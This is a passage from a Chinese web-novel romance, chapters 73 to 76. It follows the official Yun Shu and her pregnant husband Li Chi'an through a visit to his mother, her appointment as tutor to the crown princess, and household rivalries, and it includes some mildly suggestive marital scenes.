这日阴天,天上黑沉沉的,阴冷的风从河边吹过来,格外舒适。 不少人急着赶快将货物送上船,免得下起雨来出了事情。 云父催她赶快上船,眼睛都红了一圈,显然不舍得自己唯一的女儿离开。 他又告诉持安,该小心一些,又让云竖多照顾持安,多让让他。 第73章 第73章洛城 到洛城时,天还在下雨。 云竖撑着纸伞,把人揽在怀里,又细细整理着他身上的披风,避免打湿了里面的衣袍。 他一边小心走着,偏头看着四处,有些好奇。 李持安鲜少外出,几乎都待在府上,最多也是在京都的庙里和郊外逛逛。 一是不允许跑得太远,避免被人说闲话,二是怕出意外。 雨打在地上,很快没了影子。 四处晕沉沉的,眼前的一切都带着暗色,没有光一般。 李持安只能看到那边的桥,上面的人很是匆忙。 湖里的荷花轻轻摇曳着,花瓣被打得掉落下来,荷叶被风吹得歪斜。 等到了 客栈,他被护得很好,头发丝都是干燥的。 云竖示意淞朱把他扶上楼去,又让人备好姜汤和热水。 屋内。 李持安将身上的披风脱下来,用热水擦拭着裸露的皮肤,去除那空气带来的粘稠。 他的眼尾带着胭脂的颜色,白皙的面容看着越发温软,浑身都透着一股迟钝,任人拿捏的气息。 淞朱微微打开窗户,透透屋内的闷热。 李持安走到窗户边朝外看着,抬手将耳边的碎发敛在耳后,露出手腕上的镯子。 下面几乎已经没人了,只剩下空摊在那摆着,地上堆积着水洼,雨点打在那低溅起来。 屋内的侍从把蜡烛点起来,又擦干净屋内的桌子椅子,这才退出去。 “妻主说,我们只在这待两日,等雨停了,你让人去打听打听,这里的特色菜和点心是什么。”李持安轻轻说着。 见那雨下得的确厉害,甚至要溅进来,李持安离窗户远了一点。 这时门被打开,云竖端着姜汤进来,又带了一些酸橘。 这时淞朱有眼力见的下去,去让人打听打听这里的特色。 “刚刚不是在船上闹着要吃吗?”云竖把橘子放在一旁,“先把这个喝了,你身子弱。” “等晚一些,我们再去见你母亲。我已经让人送了帖子过去,也让人询问了这半年的情况。”她把人拉过来,不受控制地低头亲了亲他。 李持安坐在椅子上,只好低头喝了一半的姜汤,便接过妻主剥开的酸橘,连忙塞到嘴里。 “不酸吗?”云竖问道,“这里还有甜的,要试试吗?” 外面雨声淅沥,打在砖上,打湿了白墙。 甚至能听到附近树叶沙沙的声音,伴随着鸟叫。 “不酸,喜欢。” 见他摇头,又继续吃着,云竖起身去把窗户再关上一点。 “妻主问到了什么?” “没有什么意外,很好。”她简单说道。 歇了一会儿后,他还是想换一身衣裳。 他让妻主将自己的头发编起来,又取出妃色的衣袍,走到屏风后换上。 云竖接着起身跟过去,屏风后刚扯开带子的男人歪头盯着她。 他后退了一步,声音很软,“妻主这是要做什么?” 他继续把腰间的带子扯下来,露出里面白色的里衣,那一层薄薄的,甚至可以看到皮肤。 云竖盯着他的腰,手指微微蜷缩着,语气尽量平淡,“我只是来帮你而已。” 她的神态很正常,眼睛里也会平静。李持安脱下身上的衣裳,只穿着里衣,随后却轻轻靠在后面的柜子上。 “是吗?” 他自然知道妻主已经将近十天没碰他了,夜里也只是抱着,偶尔亲一下。 大多的亲近也是他主动的。 “那妻主帮我换上吧。”他衣襟微敞着,露出雪白的肌肤,那截细腰在云竖眼底轻轻晃着,接连着那细长紧致的双腿。 白色的里衣甚至抵不过那薄衣下的肌肤,轻轻一揉就会变红。 他的胯骨很漂亮,跟玉一样,平日里也不知道在吃什么,该瘦的地方瘦,该胖的地方胖。 云竖再愚钝,也该知道眼前人是故意的,故意勾引她。 云竖将衣裳取过来,靠近他,轻轻握住他的手臂,将那外袍披在他的身上。 说是换衣裳,不过是换了外面一层。 妃色的衣袍有些透,甚至可以看到皮肤的底色。 对于在炎热的夏天里,这种穿法再自然不过。 只要再披上彩色的披帛,就能出门。 李持安见她的的确确真的是给自己换衣,甚至也没有碰自己,不禁恼了恼。 他倚靠在她怀里,低眸瞧着她的手给自己系紧带子,抬手把手放在她的手指上,“你帮我揉揉这。” 她顿了顿,把手挪动他的腰间,不轻不重地按着。 那里很细,两只手就能全部握住。 她微微俯身,将人全部按在自己的怀里,那揉按着腰的手轻轻挪移着。 “好软。” 她说道,浅色的眼眸内幽暗晦涩,冷白的面容面无表情,声音也很冷淡。 李持安几乎整个身子都软了下来,想要有个支撑点,想要被抱住坐在她身上,趴在她怀里,可身后的人像是生疏一般,或者说是故意一般,任由他身子往下掉。 他的腿弯曲着,费力地攥紧她的手臂,还想要维持那一抹端庄。 “妻主!”他恼羞成怒地叫道。 …… 临近夜里,雨停了下来。 李持安这才出门,身上那件是青绿的衣袍,很繁琐,珍珠镶嵌着,一眼就能看出身份不一般。 两人身后没有跟任何侍从,只有她们两个人。 云竖手里拿着合起来的纸伞,上面残留的雨水已经被擦干。 而李持安则抱着妻主的手臂,躲着地上的水洼,四处看着。 这个时候,应该有一些人出来了。 几个小孩从某个巷子里跑出来,几人追赶着,手里拿着可以被风吹动的竹蜻蜓。 她们很快消失,只能听到欢快的声音。 李持安往那瞅着,轻轻抿唇,“真是很爱玩诶。” 他悄悄看了一眼妻主,想着妻主小时候是何模样。 她看上去冷冷淡淡的,跟他第一次看到她时完全不一样,那时候在茶馆时,看上去还是一个脾气极好很是温和的人。 他不禁埋怨,果然女人都是会变的,变得太大了。婚前她待他都十分小心翼翼,而如今在客栈时,像是故意捉弄他一般,任由他双腿打颤。 “小心地上的水。”她提醒道。 “还有多久?”他问道。 “快了。” 他仰头望她,轻轻抿着那绯色的唇,那耳坠晃着,“妻主回去之后会很忙吗?” “不会。”她嗓音冷静,甚至沉稳。 她注意着脚下的路,同时也注意着四周,怕出现什么意外。 对比之前突然到来的意外,现在已经少了很多,甚至不严重,不会让人直接死亡。 而是真的只是倒霉。 比如直接掉在肩膀上的鸟屎,比如突然被泼一杯水。 而在李持安身边,这种事情不会发生。 听到这两个字,他轻轻抿着,唇角微微翘起来,颇为开心。 他的手指轻轻勾着她的掌心,像是玩闹一般,或者是无聊一般。 云竖没有管。 她停在一个巷子口,李持安骤然紧张起来。 他被牵着走了进去,随着那门被推开,看见里面的全貌,微微愣了愣。 这就是母亲住的地方吗? 怎么还有田地 里面种着辣椒和蔬菜,甚至还有一茬番茄和小白菜。 “来了”里面走出一个女人,鬓边多了几缕白发。 “母亲。”他朝她喊道,声音不自觉透着委屈。 云竖垂眸看着他这副受了委屈的模样,随便找了一个理由,给时间让她们两个人说话。 她径直走进了厨房。 屋内。 “我听子漾说,你怀孕了,是吗?” 他双手捧着那茶杯,声音很软,“嗯,已经有一个多月了。” “她欺负你了吗?” 李随看着眼前被护得很好的儿子,甚至比出阁前都要乖巧温顺,眉眼更是漂亮,没了往日里的暴躁和胡闹。 甚至在近两年,脾性越发大,动不动就要发脾气。 他摇了摇头,“没有。” 李随看向窗外,“没有欺负就好。” 李持安轻轻嘟囔着,“母亲怎么还种起菜来了,之前不是一向讨厌吗?” 她却没有回答这个问题,“再过三年,我就会回京都,你该好好呆在京都,受了什么委屈也要忍着,即便你要带着孩子离开。” “才不会这样。”他反驳道。 还带着孩子离开。 那他得多倒霉。 “她不是那样的人。” 李随无奈地叹了一口气,“你总要为自己打算,我不在京都,如何为你撑腰。” 李持安微微蹙眉,有些生气,漂亮的眼睛里覆上一层鲜亮的怒气,“母亲总是这样。” 见他依旧不变的脾气,李随妥协道,“好吧,我不说这些了。” 李持安觉得母亲依旧自以为是。 随着云竖进来,“我看灶台上已经炒好了菜,就热了一下。” 她将她刚刚做的莲子羹放在他手边,细细瞧了他的神色。 生气了吗? 李持安低眸看着放在手边的莲子羹,微微鼓了鼓脸。 “这是刚刚摘下来的番茄,要试试吗?”云竖轻轻捏着他的掌心,“听说吃了,皮肤会白一点。” “真的吗?”他好奇问 。 甚至开始思考,他的皮肤不白了吗? “真的。” 云竖将番茄放在他的手上,抬眸盯着李随。 “岳母如今一个人住吗?我看院子里也没有什么下人。” “是啊,一个人住着也自在一些。”李随看着低头看着番茄试图要吃一口的持安,语气莫名道。 “我与持安后日就会离开,可能明日还要上门一趟来拜访岳母。下次再来,说不定你还能看到孩子。” 云竖语气轻缓。 孩子。 李随看着那还一无所知的持安,“是啊。” 怀胎十月,又要做月子,也要两个月。 算起来也是一年后。 “他还不懂事,你好好让着他。” 第74章 第74章孕吐 翌日。 云竖又带着他去了李随那里。 她同李随在屋内谈话,而李持安则给自己洗了一个番茄,在院子里打量着。 他的衣着很简单,只编着一个麻花辫,手腕上只戴着一对细镯子。 院子里。 他看着门口突然出现的一个小孩,起身走了过去。 “你来找谁?”他问道。 她模样不过五岁,手上还拿着书。 “我我来找夫子,我看不懂文章。”她小声道。 李持安打量着眼前的小孩,“夫子住在这里?” 一炷香后。 随着云竖出来,牵着李持安离开,走在青石板路上时才发觉他不对劲。 “怎么了?” 李持安气愤道,“她还有心情教人读书。” 云竖笑了笑,“是吗?” 她揉着他的手,“还想看看什么?现在还早。” 李持安顿了顿,“去茶馆看看” 接着,他仰头看她,“妻主猜猜,我是在哪里看到你的” 云竖想着经过时茶馆在哪里,“茶馆吗?” “妻主在茶馆做什么?”他一边问着,正好瞧着小巷的尽头,几个男孩抱着花。 地面上还是湿润的,尤其是巷子里的墙角,长出了许多青苔。 “看话本。” 接着,云竖低眸看他,“要花吗?” 那花是白色的,偏偏叶子也很少,看上去一簇一簇团在一起。 云竖认得那花,是豌豆花。 “可我们都要走了。”李持安小声道。 “花也是要枯萎的。”云竖见他想要,便取出银子给了那几个男孩,拿了一簇花过来。 那几个男孩很快弯着眼睛道谢,又说他们没有那么多钱给她换。 “不用换。”云竖说道,“你们自己去分掉吧。” 旁边的李持安盯着那几个男孩,都是九岁左右的模样。 他九岁的时候,还在屋里学着绣花斟茶。 她牵着人离开。 李持安一边低眸看着手里的花,一边抬手轻轻捏着花瓣,那花瓣很是薄透素雅。 等走远了一些,他放下对花的兴趣,好奇地继续问她,“那妻主在看什么话本。” 看话本吗?真是稀奇,他还以为妻主只会看那些无聊烦闷的古文案卷。 “京都里的话本,落魄女郎娶贵卿,与富家公子私奔……” 李持安听着不对劲,觉得越来越耳熟,微微咬唇,有些微恼,“妻主偷看我的话本了,是吗?” …… 到京都时,李持安孕吐的厉害,在屋里连歇了三天才缓过来。 他的肚子已经微微鼓了一点点,不像之前那边平坦纤细,腹部也没有什么力气。 屋内。 他喝完安胎药,便倚靠在软榻上歇息,青丝散乱在榻上。 他脸色有些苍白,睫毛上还挂着泪,蜷缩在那想要缓和那恶心感。 淞朱连忙取了酸梅和荔枝过来,小心地喂在公子的嘴里。 屋内的冰块放了许多,很是凉快。 他缓和了许多,“妻主呢?还没有回来吗?” 自从回京都后,云竖上完早朝便早早回来,即使是办公也陪着李持安。 没有被折腾,他也起得很早,在妻主快要回去之前就已经从床上起来。 淞朱摇了摇头,“还没有回来。” 他起身靠在那,拢了拢身上的衣袍,垂着眸,没说话。 他下意识抚摸自己的腹部,随即蜷缩着,微微咬唇。 “这里胖了许多。”他低声道,“万一以后再大一点,再大一点,生下来后恢复不回来怎么办?” 他开始忧虑起来,甚至都不敢照镜子,生怕自己的面容也变丑。 淞朱想了想,继续说道,“前日有人递了赏花宴的帖子来,奴调查了一番,都是一些正君,公子不妨去看看,说不定就好了许多。” 他想让公子出去走走,如今胎也快稳下来了,不如去跟那些正君说说话,瞧瞧他们是怎么怀孕生子的,又是如何固宠的。 虽说女君如今一心只有公子,但万一呢?也不是没有哪家正君怀孕期间就偷腥,纳了几门侍夫,本还恩恩爱爱,如今怀孕后便没了影子。 自从回了京都,淞朱总是能收到许多帖子。 李持安慢慢想着,缓慢眨了眨眼睛。 出去吗? “你去接下来。”他小声道。 说着,他又忍不住泛起恶心,捂嘴干呕着,撑着手在榻上,青丝散在身前,脊骨微微凸起。 他只穿了一件薄衫,很薄很薄,甚至能够看到里面的肌肤。 他被这样搞得没了力气,连往日里插花斟茶也没了兴趣。 白日里很是疲倦,总是在睡觉,睡醒以后也是在干呕。 他的脸上也被眼泪打湿,呼吸也越来凌乱起来,张着嘴呼吸着,眼尾殷红,那张面容既可怜又漂亮,浑身都透着一股凌虐感。 淞朱瞧着也无法做什么,只好安抚公子,这只是一时的,很快就不会如此。 大抵是过了一个时辰,云竖才从宫内回来。 她换了一身衣裳,绕过屏风,就见到在软榻上睡过去的人。 淞朱以及其他侍从看见女君,俯身行礼,随即退了出去。 长廊外,苘敷看着进去的女君,微微咬唇。 女君仿佛忘了他一般,看见他也不会同他说话。 他也好生贴身伺候女君半年多,女君却话也不敢同自己说,生怕正君看了会吃醋。 如今正君怀孕,正君本就该纳侍替代自己伺候女君,难不成还要女君伺候正君不成 他想着,直勾勾盯着那屋门, 等正君肚子再大一些,再大一些的时候,女君总该会忍不住,总该会看腻那大着肚子变了身材的人。 再好看再矜贵的人,怀了孕哪里会比身材苗条年轻的人还要吸引伺候人呢? 屋内。 醒过来的李持安埋在她怀里,嗅着她身上的气味,那股恶心感很快平复下来。 他声音有些哑,有些可怜,“妻主怎么这个时候才回来。” 他被揉着腰,浑身无力,眼眸内莹润潮湿,变得敏感脆弱起来。 生怕妻主厌弃他不如之前好抱好摸,生怕听到妻主的不耐烦。 他黏黏糊糊地蹭着妻主的脖颈,伸出小舌舔着妻主的嘴角。 尽管屋外炎热,休整过后的李持安身子意外的清透干爽,唯一的想法只想黏在妻主身上。 “有些事情还要忙。”她说道,低头亲了亲他。 他身上的衣裳有些凌乱,衣襟敞开着,露出里面白皙细腻的肌肤,脸上带着红晕。 隔着一个月未同房,李持安有些焦急起来,可大夫偏偏说前三个月不能同房。 他低低呜咽着,青丝黏在身上,眼睛里透着欲望。 他几乎黏在她身上,想要她抚摸自己,想要她亲吻自己,跟之前一般。 “听话一点。”云竖声音有些哑。 她轻轻拍了拍他的臀部,掐了掐他的腰身,俯身埋在他的脖颈处亲了亲。 自从他怀孕后,身子也越发软,皮肤更是雪白细腻,眉眼总是不自觉透着柔弱可欺的气息。 明明那腰间还平坦纤细。 “呜……”他没力气地依偎在她的怀里,轻轻喘着气,衣裳脱落到手臂上,露出大片雪白的肌肤。 云竖看着那处微微隆起的肚腹,喉结滑了滑,手掌也越发滚烫,他的身子也跟着颤了颤。 短暂的安抚过后,他很快平复下来,红着脸埋在妻主的脖颈处歇着。 “我想出去。”他小声道,那声音软,像是在撒娇一般。 “好。”她很干脆地答应下来。 “……真的吗?”他有些不确定问道。 之前她都不让自己出府,如今怎么如此爽快了? “要我带你出去吗?”她继续问。 “不……不用。” 都是一些正君,说得也是房中事,妻主去那做什么。 云竖垂眸,整理着他身上的衣裳,遮盖住他的肌肤,环住他的腰身。 她帮他轻轻揉着,有一搭没一搭地低头亲吻他,见他消停过后又把他抱起来放在半窗旁边,让他看着外面的湖景。 云竖把他经常看的话本拿过来,这才开始处理公务。 淞朱这才从屋外进来,端来水果和茶点,防止公子又饿了。 好在女君回来之后,公子就鲜少泛恶心,吃东西也吃得下去。 拿着话本的李持安低眸吃着那李子,悄悄地看着正在处理公务的妻主,想着今日怎么回来这么晚,为什么又如此爽快呢? 夜里。 李持安被抱着沐浴过后,放在床榻上歇着,浑身无力。 他身上只裹了一层里衣,双腿裸露在外面,微微屈起。 由于沐浴的原因,他脸颊微微泛红,眼神湿漉漉的,可怜巴巴地望着妻主过来,很是熟稔地往她怀里扑。 他贴在她身上,裸露的双腿更是缠在她的身上。 昏黄的灯光下,男人半敞着衣裳,被女人紧紧握住腰身,在她的脖颈处喘着气,面容潮热,呜咽个不停。 由于情欲,他的腰身紧绷着,被女人揉着很快软下来。 他痴痴地看着眼前的人,忍不住笑着,美艳的脸庞上湿漉漉的,颇为乖巧地舔着她的嘴角,把自己的腹部送到她的手心里。 还有半个月,还有半个月他就能与妻主同房,就不用担忧妻主睡了旁人。 …… 翰林院处。 云竖被叫住。 “云学士,真是恭喜啊。” 她一进门,就听到翰林的同事恭喜她。 她们看着眼前穿着紫衣面容冷淡的女人,内心无不嫉妒。 不就是有一张好脸吗?能得圣上喜欢,能得殿下喜欢,能比她们好到哪里去呢? 这日天色很好,云竖几乎被早上的太阳刺得睁不开眼睛。 她看着那些人脸色神色不一,微微挑眉,没说什么话。 薛棋这时从偏门进来,“诶,你是来搬东西的吗?我来帮你啊!云太傅。” 今日,殷宁过继到君后名下,被封为太女,一同定下太傅教导太女。 第75章 第75章“太傅啊,你可要小…… “太傅啊,你可要小心一点啊。” 什么太傅 李持安有些懵。 “女人一当有了权势,她不想要都有人逼着她要,我家那位就被塞了一对兄弟,长得那叫如花似玉,伺候人的手段比那些花楼里的小侍还要厉害,半推半就带回了家,日日待在那两个小贱人的屋里。”旁边的男人说道。 “你可得好好警醒着屋内,等过了日子,可要有眼力见一点。” 他见眼前怀孕不久的人,看着也是个清冷不懂情趣的,瞧着木讷保守。 刚刚成婚的男人就是如此,非得生了孩子才能放开一点,知情趣一点,去挽留变了心的妻主。 “什么叫有眼力见”他抿了抿唇,好奇问道。 男人也得了自家妻主的吩咐,让他多亲近点太傅家的小夫郎,好让他吹点枕边风。 他也没捂着,“要你主动纳侍你自然是不乐意的,你便使一些手段,把自个送上去,怀着孕不要紧。” 接着,他压低声音,“你想来也过了头三个月……” 听着他的话,李持安微微抿唇,眸光都亮了亮。 他有些踌躇,又不敢张口问什么,青丝下的耳尖微微红着,手心都在发烫。 又听到旁人在说什么八卦,也不遮掩,活像是要谁都知道一般。 李持安听到,谁家的夫郎闹着和离,甚至跑回了父家。 离了宴席,李持安被扶着上了马车。 淞朱这才缓过来,生怕公子出什么意外。 肚子一天比一天大起来,如今一只手也遮挡不住。 若是被人惊吓到,跌在地上可还了得。 马车上。 李持安整个人都懒散下来,不像刚刚在外面那般端庄清冷。 他犹豫说道,“你去买件衣裳来,还有香料……” 他软着身子倚靠在那,露出微微隆起的肚腹,衣襟微微敞开,脸颊泛红。 进来的淞朱瞧着吓了一跳,连忙把公子的衣襟合拢,免得被旁人看了去。 “回府。” 淞朱连忙说道。 “又没有人。”他轻轻道。 “什么太傅啊,他们说话我怎么听不懂,还一个个都来找我说话。”他有些抱怨,甚至有些不想去了。 想到那人说的话,他不禁抱紧自己的肚子,觉得有些荒唐。 肚子慢慢大起来,李持安便不敢大胆起来,生怕出什么意外,生怕这两个月的苦白吃了。 淞朱在旁边听得清楚,“……公子也该想想办法了,三个月过去,若女君不碰公子,就该出事了。” 他欲言又止,“况且公府上有些人也有些不老实了。” 听到不老实,李持安微微蹙眉,坐直身子,慢慢思考起来。 不老实吗? 府上有谁不老实 …… 讲学殿中。 云竖微微蹙眉,放下手中的书本,看着昏昏欲睡的殷宁,“殿下。” “老师,我在听。”她一个激灵,很快把头低在书里。 不是说她会换一个老师吗?怎么还是她。 “凡经筵,春讲以二月至端午罢,秋讲以八月至冬至罢,你该好好听讲,后面还有释奠礼、大合乐等仪式。”她合上书本,嗓音温和,“后面会有大司成进行评说,若有不懂,少傅自然会为你一一解说。” “殿下也不想被圣上叫过去吧。” 殷宁还是喜欢她之前对自己的态度,如今跟悬在头顶上的利剑一样,动不动就要刺她一下。 “我不想的,真的在听。” 离开讲学殿后,便有其它官员进去教授手执干戈的武舞和手执羽籥的文舞。 宫道上,几个官员见云竖走过,扯了扯正在说话的一个官员。 不远处,云竖看到她们,微微颔首以示行礼。 那几个官员见了,连忙微微弯腰。 等云竖走后,其中一个人压低声音“你还想得罪她那姚妗眼见着要爬上来,不知道哪里得罪她了,前半个月就被薅下来不知道被远派到哪个犄角旮旯里面去了,那长宁殿下都没能保住,她岳母家连夜将自己儿子接了回来。” “再不说她如今还是太傅,你见到如此年轻的太傅吗?圣上都愿意把太女交给她教导。”这摆明了圣上器重。 哪位太傅不是年过35岁,而云竖今年不过20岁。 “真是胡闹。”听到这个,她压低声音骂道,“不过是一小地的商贾,也有资格来这评足论道。” 其他三人听到,面面相觑,觉得她是疯了,也敢质疑圣上的决定。 长廊处,前面的宫侍在云竖走着。 四处玉阶彤庭,桂殿兰宫,飞阁流丹,雕甍绣槛。 宫侍低头小步前行,长廊处的帘子被风微微吹起,宫灯也跟着微微晃着。 明明四处都是人,偏偏十分安静。 很快,宫侍停步,侧身站在一旁。 “大人该进去了。”他低声说道。 云竖推开门进去,随即大门被关上。 隔着屏风,云竖盯着那身影,微微垂头,“圣上。” “之前你离开的早,想找你也没地方找,总不能下诏让你进宫。”那人缓缓出声,“过来,陪我下一盘棋。” 云竖绕过屏风,坐在榻上,伸手执棋。 她想着,如今没法随意致仕,少说也得在京都待上十年。 十年。 云竖将棋子放下,动作有些迟钝。 “第二步便如此犹豫吗?”皇帝饶有兴趣地问,“是犹豫下一步,还是犹豫现在这一步呢?” 难道她想说做官有些久吗?她没想做那么久。 云竖看着只有几粒棋子的棋盘,“圣上呢?圣上为何迟迟不下” 宫中已有一位贵侍怀子,世家出身,叫姜闻。 云竖想着,那位可能生不下孩 子。 圣上好不容易削弱了世族,现在怎么可能容得下一个世家出身的孩子呢? “朕自然是在问你。”皇帝将棋子放下,“听宫侍说,爱卿早早回府,是因为家中夫郎有孕,还是李家那位” “是。” “如今李家落魄,何必死守着一位。”皇帝意味不明道,“朕赐你一对美人,以免爱卿被人嘲笑后宅荒芜。” “圣上何必为难臣呢?家中内子脾性烈,怕是会寻死觅活,家宅不宁。” 皇帝听了,轻声哼了哼,“寻死觅活” 云竖知道皇帝不满她娶了世家出身的人,代表她归属世家一方,不管她有没有此意,任谁也不敢用。 如今姚妗被她挤走,细数朝中寒门官员,几乎没几个可以任用,一部分有才之士在科考前就被一些世家的人揽用。 书本文学被世家垄断,相门出相前人奖,官上加官后代昌,科举前三位都是世族出身,一点也不为奇。 即便是璇山书院,里面求学的基本都是世族,寒门,商贾。 平民基本没有机会接触,寒门也是少数,世族里面又划分高低贵贱。 云竖未结交世家,甚至也不与翰林的人多加来往,也未得罪哪一派的人,被任用并非不可能。 在皇帝下完一步后,云竖紧接着下一步,“听说圣上最近有意长宁殿下成婚” “他也该成婚了。”皇帝语气也是随意。 云竖不再问,微微拢着衣袖抬手执棋。 两个时辰后,云竖出宫,便看见了正在宫门的魏杏,显然是在蹲她。 她上前微微俯身,“魏大人。” “太傅可是要回府” 魏杏询问。 “自然是要回府。” “听说太傅与令夫郎琴瑟和鸣,举案齐眉,如今又怀了孕,魏野让我转赠一对玉如意,如今已然送到了你的府上。太傅可还记得魏野” 云竖听着,“魏野是去年的状元,怎么可能不记得呢,再说也共事一段时间。” 魏杏顿了顿,不知道该如何继续问,难道说本该魏野娶李家那位的,还是说让云竖帮忙在圣上面前说情 “既然如此,礼物既然送到,我就不多说了,我与李随是好友,你既好好待着他,我自然感谢。” 云竖面上没什么表情,“说起来,还是我捷足先登了,魏大人应该不会心有不满吧。” “怎么会呢,本就是李随的决定。”魏杏含糊道。 即便没有云竖,她也绝不会让魏野娶李持安,本就雪上加霜,不可能还顶着圣怒去娶。 “既然话已经带到,我便先走一步,魏大人。” 魏杏看着云竖转身上了马车,却没法说什么。 回府后,管家便迎过来,“这两日收到了许多请帖,女君可要看看,都一并回绝吗?” 云竖停下脚步,语气轻淡,“都回绝了,就说事务繁忙不便前往。” 本要抬脚去后院,云竖却先去了书房。 她换下了身上的衣裳,刚刚推开书房,就闻到里面的胭脂味。 不是正待在后院的夫郎。 云竖绕过屏风,就见到跪坐在那衣着大胆的侍从。 她语气冷漠,“谁让你进来的?” “是奴自荐,甘愿侍奉女君。” 男人伏在地上,露出脊背和脖颈,纤细的身子轻轻颤抖着。 “真是大胆。” 屋内寂静,那声音格外明显,从头顶上传来时,男侍的身子抖了抖。 那字句不是带着轻佻,而是威压,无不割着他的面容和头皮,浑身发冷发麻,像银白的针一样,穿在身上缝合肌肤。 完全不似表面上看上去如此温和,不像是待正君百般迁就的模样。 如此,他瞬间知道这没有下文,只伏着身子不断讨饶。 他声音凄厉哀惨,“求女君放过奴吧,奴只是一时痴心妄想,以后断不敢有这个念头。” 他不断磕头,额上都渗了血出来,身子浑身害怕地抖着,开始意识到下场会怎么样。 会被卖出府,或者会被棍打以示教训。 他没有听到女君饶恕的声音,耳边只传来开门的声音。 脚步声越来越远。 他恍惚抬起头,屋内已经没有人了。 他抖擞着,裹紧身上的衣裳,连滚带爬地离开了书房。 第76章 第76章敏感 夜里。 屋内点起了蜡烛,猫也被抱了下去。 云竖早早就来了后院,却一直没见到他的身影。 她一来,他就躲在了屏风后面,不知道在捣腾什么。 一炷香后,她盯着屏风后,语气温和道,“你还要站在那多久?” 她合上书本放在软榻的小桌上。 随着云竖进来,屋内的侍从很快退出去,只有她们两个人。 屏风后的人呼吸有些乱,声音莫名带着焦急,“妻主再等等。” 云竖几乎能猜到他在屏风后做什么,却也不知道为什么能折腾这么久。 她没如他的愿,起身绕过屏风,就见到他与那珠链挣扎。 青丝遮掩住了一部分身体,那日渐圆润小巧的肚腹隐隐约约地露出来,那珠链与头发打结,迟迟无法弄下来。 听到脚步声,他仓皇抬眸,微微睁大眼睛,在昏黄的烛火下透着几分我见犹怜的气息来。 还有些愚蠢。 她站在屏风旁边,意味不明,“若我不来,你难道继续要被这珠子缠着头发” 他骤然委屈下来,匆匆取过里衣遮住自己的身体,想要减少几分狼狈来。 “过来。”她说道。 他还是走了过去,被妻主抱起来走到了榻边。 他被放在榻上,与发丝缠绕在一起的珠链很快取下来,被扔在软榻上发出滚动清脆的声音。 其实那是一件衣裳。 他恍惚地盯着那,有些不可思议,脑子也无法转动。 就这么快取下来了吗? 他攥紧妻主的衣袖,面容骤然红了起来,眼眸内湿漉漉的。 云竖将他身前的衣裳取过来,披在他的身上,又将人抱进怀里。 她轻轻揉着他的手腕,低头亲着他,“所以刚刚折腾就是为了这个吗?然后做什么呢?谁教你这么做的?” 李持安被亲得害羞,躲在她的怀里,小声道,“大夫说,说已经过了三个月。” “现在不行,乖点,好不好?” 他有些不大乐意,仰头碰了碰她的脸,然后伸出舌头,缓慢地舔了舔她的嘴角。 “才不要,妻主小心一点就好了。” 云竖抚摸着他的腰身,见他蹭着,抬手把他按在怀里,“现在还不行。” 他微恼地张口咬了她的脖颈,尖牙轻轻磨着,很快老实下来,贴在她的脖颈处,碎发散在眉眼,透着乖巧。 “饿了吗?”她继续问道。 他沉默了一下,还是在她耳边承认,抱紧她的脖颈,语气闷闷的。 “饿了。” 如今他一日少食多餐,非常容易饥饿。 上床榻时,李持安黏在她怀里,把脸覆在她的怀里,直喊着不舒服。 腰酸 腿软,哪哪都不对劲。 云竖耐心地帮他揉着,揉着揉着便埋进了他的脖颈处轻轻地咬着,亲着。 他的发丝凌乱,陷在被褥里,一手紧紧托着自己的肚子,很快老实下来,不再说哪里不舒服。 帷幔内漆黑一片,他恍惚想到,他已经很久没做噩梦了。 从什么时候开始没有做噩梦了?是这次从洛城回来吗? 成婚前的一个月里,他几乎天天做噩梦,半夜里醒来就睡不着了。 女人的手放在他的腰上,他几乎贴着她,无时无刻不感受到她的气息。 她的皮肤表层温度很高,明明白日里还有些冰凉。 …… 转而两个月后。 府上。 他慢慢地走着,不敢再出门,只好在府上逛逛。 他披着厚重的衣袍,看着院子里的落叶慢慢落下来,漂亮的眼睛细细地数着落下来了几片。 他有些无聊,但是又不知道做什么。 他也做了十几套孩子的衣裳和鞋子,脑子里不由自主地慢慢害怕起来。 淞朱让人取来点心和茶点,这时在他耳边说道,“公子也该挑选奶夫了,还有产夫。” 听到这些,他不自觉抚摸自己的腹部,那里偶尔会有动静。 他微微抿唇,“听说有大夫能够知道孩子的性别,你去让人找找。” 淞朱有些迟疑,“公子是想要女胎吗?” “头一个是女胎自然好,也省得后面再出事端。”他想了想,“算了,不用去找了,总归总归我不会只有这一个孩子。” 淞朱自然不愿意公子去找,提前知道孩子性别做什么,反正都是要生下来的,都是要被宠大的。 “公子若生下来,院子里也热闹许多。”淞朱还是忍不住说道,“近日女君开始忙碌起来,早出晚归,公子该盯紧一些。” 他贴身伺候公子,自然知道公子何日同房,何日没有同房。 这自从诊出怀孕,便只有在前一个月里偶尔有三四天,如今是一次也没有了。 再过半月,公子的身子又是不能同房,难保会出现什么问题。 他想告诉公子,该抓紧女君,莫要太过放心。 李持安想着夜里妻主回来,身上也没有其他胭脂味,可她回来都是沐浴过后过来,即便有什么胭脂味酒味也已经没有了。 他不禁微微蹙眉,她也没有时间去找其他男人,可她也的的确确没有跟他同房。 临近夜里。 李持安没有等到妻主。 甚至在榻上睡过去后也不知道妻主何时回来。 翌日早晨。 床榻上。 他迷迷糊糊地睁开眼睛,攥住她要起身的手臂,熟稔地埋进她的怀里。 “等等。” 他的衣裳散落在肩膀上,露出大片肌肤,那里格外雪白,还残留着痕迹。 女人用外袍裹住他的身子,把他抱起来放在铜镜前。 屋外的侍从陆陆续续进来,淞朱伺候着公子洗漱,正打算给公子描眉便被公子拦下来。 男人突然看向走过来的妻主,柔柔地说道,“妻主为我描眉好不好?” 淞朱听了,退到屏风后面。 云竖没有拒绝,毕竟现在还早。 屋内的窗户已经被打开,屋内格外敞亮,男人坐在铜镜前,柔顺的黑发披散在身后,眉眼温顺内敛。 云竖俯身给他描眉,很快就弄好。 李持安细细瞧着铜镜里的自己,突然抬眸看向妻主。 “为什么妻主画眉如此熟练妻主是常常给别人画吗?听说妻主有22个侍夫,是不是每个都画过,还是在他们身上练熟的你你怎么每个都喜欢啊?为什么要喜欢那么多”他说着有些气急败坏,也不经过脑子,怎么顺怎么就说了出来,眼睛也跟着红起来,绯色的唇红润极了。 一大批的问题丢向云竖,她顿了顿,有些懵。 怎么就扯到那去了? “我没有给他们描眉过。”她慢慢说道,斟酌语句,“这很简单。” 她没有时间再继续待下去,只想着快哄好突然发脾气的夫郎,好快快上朝去。 可那22个侍夫的的确确存在,她哪里洗得清楚,说得明白。 云竖把他抱进怀里,安抚性地埋在他的后颈,“那些侍夫都已经不在府上了,已经拿了银钱离开,之前就没有那种想法了,现在也不会有。” “说话当然是好听的。”他闷闷道。 